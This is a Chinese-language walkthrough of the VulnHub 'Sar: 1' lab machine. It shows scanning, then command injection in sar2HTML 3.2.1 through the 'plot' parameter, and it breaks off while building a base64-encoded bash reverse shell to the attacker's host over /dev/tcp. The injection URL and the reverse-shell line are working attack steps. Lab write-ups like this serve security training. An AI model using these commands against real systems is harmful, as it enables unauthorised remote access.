vulnhub Sar: 1

渗透思路：

nmap扫描----dirb扫描网站目录----exploit-db查找exp----利用sar2html的RCE漏洞getshell（base64编码）----利用定时任务提权

环境信息：

靶机：192.168.101.65

攻击机：192.168.101.34

具体步骤： 1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.65

只扫描到80端口（http）

2、dirb扫描网站目录

​dirb http://192.168.101.65

查看http://192.168.101.65/robots.txt，发现sar2HTML

3、exploit-db查找exp

访问http://192.168.101.65/sar2HTML/，发现版本信息：sar2html Ver 3.2.1

在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers中搜索sar2，得到2条版本匹配的结果，上面那条是个python脚本，下面那条是文字说明

查看下面那条Sar2HTML 3.2.1 - Remote Command Execution - PHP webapps Exploit

可以看出漏洞利用步骤很简单，只需要在http:///index.php?plot=;的处输入命令，然后点击select host下拉框即可

4、利用sar2html的RCE漏洞getshell

先用id命令尝试一下：

浏览器访问http://192.168.101.65/sar2HTML/index.php?plot=;id

然后点击select host下拉框，可以看到下拉框中包含id命令的执行结果

然后尝试getshell。

经尝试，这边bash反弹shell需要base64编码，具体方式如下：

先在攻击机上输入

echo "bash -i &>/dev/tcp/192.168.101.34/8888 /dev/tcp/192.168.101.34/7777